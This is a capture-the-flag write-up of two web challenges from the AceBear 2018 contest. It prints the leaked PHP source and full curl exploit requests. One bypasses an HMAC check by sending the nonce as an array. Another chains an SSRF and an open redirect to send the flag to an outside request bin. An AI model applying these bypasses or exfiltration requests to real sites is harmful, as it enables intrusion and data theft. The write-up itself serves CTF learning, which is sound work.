Rating:
# BearShare 1 & 2
BearShare 1 and 2 were two 100 point challenges based on the same code in the
AceBear Security Contest 2018. Although they have been flagged by quite a large
number of teams, they were quite interesting and deserve a writeup. They will
be solved in order, so if you're only interested in the solution of BearShare 2,
you can easily skip the whole first part of the writeup.
# Challenge description
### BearShare
```
Description: I have an idea, I want to change the way we communicate.
Website: http://35.198.201.83/
```
### BearShare 2
```
Description: Well, there is one more thing. After get flag in level 1, try to discover 1 more.
Website: http://35.198.201.83/
```
## BearShare
After solving the **welcome** Web challenge of the same CTF, we decide to check
if we can find interesting information in `/robots.txt` right away. This
displays the following:
```
User-agent: *
Disallow: /backup_files
```
### Backup files
`/backup_files` contains two files: `download.txt` and `index.txt`. We download
both of them right away.
We quickly check the website and realize that it only contains two accessible
pages, `index.php` and `download.php`. I think it is safe to assume that we
possess the whole relevant source code of the website at this point.
`index.txt` contains the following PHP code:
```php
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="favicon.ico">
<title>BearShare</title>
<link href="dist/css/bootstrap.min.css" rel="stylesheet">
<style>
/* Sticky footer styles
-------------------------------------------------- */
html {
position: relative;
min-height: 100%;
}
body {
/* Margin bottom by footer height */
margin-bottom: 60px;
}
.footer {
position: absolute;
bottom: 0;
width: 100%;
/* Set the fixed height of the footer here */
height: 60px;
line-height: 60px; /* Vertically center the text there */
background-color: #f5f5f5;
}
/* Custom page CSS
-------------------------------------------------- */
/* Not required for template or sticky footer method. */
body > .container {
padding: 60px 15px 0;
}
.footer > .container {
padding-right: 15px;
padding-left: 15px;
}
code {
font-size: 80%;
}
</style>
</head>
<body>
<header>
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
BearShare
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
<span></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<main role="main" class="container">
<div class="mt-3">
<h1>BearShare</h1>
<h3>Private message sharing</h3>
</div>
Need a dumb way to share your private message? Use BearShare!
Your message stored at server:
Your message's ID:
<footer class="footer">
<div class="container">
<span>Content © 2018 - AceBear</span>
</div>
</footer>
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
<script src="assets/js/vendor/popper.min.js"></script>
<script src="dist/js/bootstrap.min.js"></script>
</body>
</html>
```
and `download.txt` contains the following PHP code:
```php
&1');
} else {
die('Hey, are you a haxor?');
}
}
?>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="favicon.ico">
<title>BearShare</title>
<link href="dist/css/bootstrap.min.css" rel="stylesheet">
<style>
/* Sticky footer styles
-------------------------------------------------- */
html {
position: relative;
min-height: 100%;
}
body {
/* Margin bottom by footer height */
margin-bottom: 60px;
}
.footer {
position: absolute;
bottom: 0;
width: 100%;
/* Set the fixed height of the footer here */
height: 60px;
line-height: 60px; /* Vertically center the text there */
background-color: #f5f5f5;
}
/* Custom page CSS
-------------------------------------------------- */
/* Not required for template or sticky footer method. */
body > .container {
padding: 60px 15px 0;
}
.footer > .container {
padding-right: 15px;
padding-left: 15px;
}
code {
font-size: 80%;
}
</style>
</head>
<body>
<header>
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
BearShare
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
<span></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<main role="main" class="container">
<div class="mt-3">
<h1>BearShare</h1>
<h3>Private message sharing</h3>
</div>
Need a dumb way to share your private message? Use BearShare!
</xmp>
<form class="form-signin" method="POST" action="download.php">
<input type="hidden" name="nonce" value="<?php echo $nonce; ?>"/>
<input type="hidden" name="hash" value=""/>
<div class="form-row">
<div class="form-group col-md-3">
<select class="form-control ss" name="storagesv">
<option disabled selected value>-- Storage server --</option>
<option value="message1.local">message1.local</option>
<option value="message2.local">message2.local</option>
</select>
</div>
<div class="form-group col-md-9">
<input type="text" class="form-control" name="messid"/>
</div>
<button class="btn btn-lg btn-primary btn-block" style="max-width:300px;margin:auto;margin-top:30px;" type="submit">Read message</button>
</form>
</main>
<footer class="footer">
<div class="container">
<span>Content © 2018 - AceBear</span>
</div>
</footer>
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
<script src="assets/js/vendor/popper.min.js"></script>
<script src="dist/js/bootstrap.min.js"></script>
<script>
$( ".ss" ).change(function() {
if($(".ss").val() == "message1.local"){
$("input[name='hash']").val("");
} else if($(".ss").val() == "message2.local"){
$("input[name='hash']").val("");
} else {
"None";
}
});
</script>
</body>
</html>
```
One condition of `download.txt` immediately catches the eye:
```php
if($_POST['storagesv'] === 'message1.local' or $_POST['storagesv'] === 'message2.local'){
$url = 'http://'.$_POST['storagesv'].'/';
} elseif ($_POST['storagesv']==="gimmeflag") {
die('AceBear{******}');
}
```
Seems like we know where to look!
### Reversing the application
In order to display the flag, we need to provide the parameter
`storagesv=gimmeflag` in a POST request. This condition is only checked if
`isset($_POST['messid'])` evaluates to `True`, which means we must provide
the parameter `messid` as well.
Between these two checks, the function `validate_hash()` is called. Let's
check its code:
```php
function validate_hash(){
if(empty($_POST['hash']) || empty($_POST['storagesv'])){
die('Cannot verify server');
}
if(isset($_POST['nonce'])){
$S_KEY = hash_hmac('sha256',$_POST['nonce'],$S_KEY);
}
$final_hash = hash_hmac('sha256',$_POST['storagesv'],$S_KEY);
if ($final_hash !== $_POST['hash']){
die('Cannot verify server');
}
}
```
First, it checks whether the `hash` parameter and the `storagesv` parameter
exist, and terminates if they don't. Therefore, we need to pass a `hash`
parameter in our POST request as well, which looks like this so far:
`storagesv=gimmeflag&hash=randomvalue1&messid=randomvalue2`.
After that, it checks whether the parameter `nonce` is set, and hashes it using
`hash_hmac` with a secret key. This secret key then becomes the result of this
computation. If `nonce` is not provided through the parameters, the program
just skips the condition and keeps running. We don't **need** to pass a `nonce`
parameter in our request, but we **can**, which will probably come in handy.
Then, the value of our `storagesv` parameter is hashed using the previously
evoked secret key.
Finally, this hash is compared to the `hash` parameter from our request. If
these two hashes match, the function results normally.
### What we should aim for
Because we want to predict the value of `$final_hash`, we have to be able to
control the value of `$S_KEY` during the second call to `hash_hmac`. The only
way to do that is by finding a way to manipulate the output of
`hash_hmac('sha256',$_POST['nonce'],$S_KEY);`.
### What's the vulnerability?
The vulnerability is not obvious here, and requires a bit of knowledge about
the specification of the `hash_hmac` function in PHP. It is no use looking
into the `hash_hmac` algorithm as it is still cryptographically secure for
now.
While we are able to set the value of `$S_KEY` by setting the `nonce` parameter,
there is no way of controlling the output of `hash_hmac` to set `$S_KEY` to
a predictable value, since a secret key is used in the function call…
Or is there?
The value of `$_POST['nonce']` really doesn't provide any way of predicting the
output of `hash_hmac` if we don't know the secret key used. However, the value
of `$_POST['nonce']` isn't the only characteristic of the parameter we can
control: we also control its **type**.
`hash_hmac` works well when its second parameter is a string, but what if it
is an array for example?
```php
php > hash_hmac("sha256", array(1), "secret");
PHP Warning: hash_hmac() expects parameter 2 to be string, array given in php shell code on line 1
```
We get **a warning**! But… a warning is not an error, so what is the output
of the function? Well, it is **NULL**.
```php
php > print_r(hash_hmac("sha256", array(1), "secret") == NULL);
PHP Warning: hash_hmac() expects parameter 2 to be string, array given in php shell code on line 1
1
```
So, if we make `$_POST['nonce']` an array, we should be able to pass any string
in `$_POST['storagesv']` provided `$_POST['hash']` contains
`hash_hmac("sha256", $_POST['storagesv'], NULL)`.
### Wrapping up
We issue the following curl request:
```bash
curl -X POST --data "nonce[]=lol&nonce[]=lol&messid=lol&storagesv=gimmeflag&hash=028cf6abf024b107104bc69d844cd3e70755cf2be66b9ab313ca62f9efdcf769" http://35.198.201.83/download.php
```
and we obtain the first flag: `AceBear{b4d_Hm4C_impl3M3nt4t10N}`!!
## BearShare 2
Of course, we spotted another interesting piece of code in **BearShare**:
```php
if($messid){
$url .= $messid;
$out = shell_exec('/usr/bin/python '.$BROWSER_BOT.' '.escapeshellarg('http://route.local/?url='.urlencode($url)).' 2>&1');
} else {
die('Hey, are you a haxor?');
}
```
Any call to `shell_exec` in a CTF obviously reeks of exploitation potential.
So, what's up with that?
### Reversing the application
We can pretty much keep a big part of our payload here. If `$messid` is set
after going through a filter, it is concatenated to `$url`, a variable that is
then used to… do something, we don't know what yet; it would seem natural that
it is designed to visit the page at `$url`.
`$url` is set in the previous condition to the value of `$_POST['storagesv']`
if it is **message1.local** or **message2.local**. Otherwise, it is left empty,
and we can therefore control it completely using `$messid`.
After checking with the values `storagesv=lol`,
`hash=ed094d614919a055e78dc191fb658b9b0e7b24d0d05eb421211eecdc37ebb566`
and `messid=lol`, we get a page containg the following output:
```html
<xmp style="background: #f8f9fa;overflow-x:scroll;padding:10px;max-height:500px">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
The requested URL /lol was not found on this server.
This is an SSRF, alright.
### Exploitation
So, this looks like it has the potential for a SSRF. The filter function is
quite permissive. We're not sure of what we're looking for though, so we're
going to apply the golden rule we learned in this CTF: **check robots.txt**.
We run the following command:
```bash
curl -X POST --data "messid=robots.txt&nonce[]=lol&nonce[]=lol&storagesv=lol&hash=ed094d614919a055e78dc191fb658b9b0e7b24d0d05eb421211eecdc37ebb566" http://35.198.201.83/download.php
```
and we get the following output:
```
<xmp style="background: #f8f9fa;overflow-x:scroll;padding:10px;max-height:500px"><html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>
User-agent: * Disallow: /index_09cd45eff1caa0e.txt</body></html></xm
Ok, let's check `/index_09cd45eff1caa0e.txt`:
```bash
curl -X POST --data "messid=index_09cd45eff1caa0e.txt&nonce[]=lol&nonce[]=lol&storagesv=lol&hash=ed094d614919a055e78dc191fb658b9b0e7b24d0d05eb421211eecdc37ebb566" http://35.198.201.83/download.php
```
This outputs:
```
<xmp style="background: #f8f9fa;overflow-x:scroll;padding:10px;max-height:500px">
<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>
<?php</body></html>
if(isset($_GET['url'])){
$url = (string)$_GET['url'];
header('Location: '.$url.'?flag=***SECRET***:');
}
?>
We figure out that this is a backup of `/index.php` on the local server
`route.local`. Basically, passing a `url` parameter to the request to this file
will send the flag to the server it points to.
In order to exfiltrate it, we need to pass a URL we control as a parameter; it
does not need to be prefixed with `http://` but at least by `//`, which is
a pattern that is filtered by the `filter` function.
It seems quite obvious to try double encoding one of the slashes here and, after
executing
```php
curl -X POST --data "nonce[]=lol&nonce[]=lol&storagesv=lol&hash=ed094d614919a055e78dc191fb658b9b0e7b24d0d05eb421211eecdc37ebb566&messid=index.php%3Furl=%252F/requestb.in/zmecxqzm" http://35.198.201.83/download.php
```
We obtain the flag in our bin: `AceBear{A_w4Y_t0_tr1cK_oP3n_r3Dir3cT}`!!
## Conclusion
Those two challenges were very interesting, and I had a lot of fun beating them.
Thanks a lot to the organizing team for making such a cool CTF!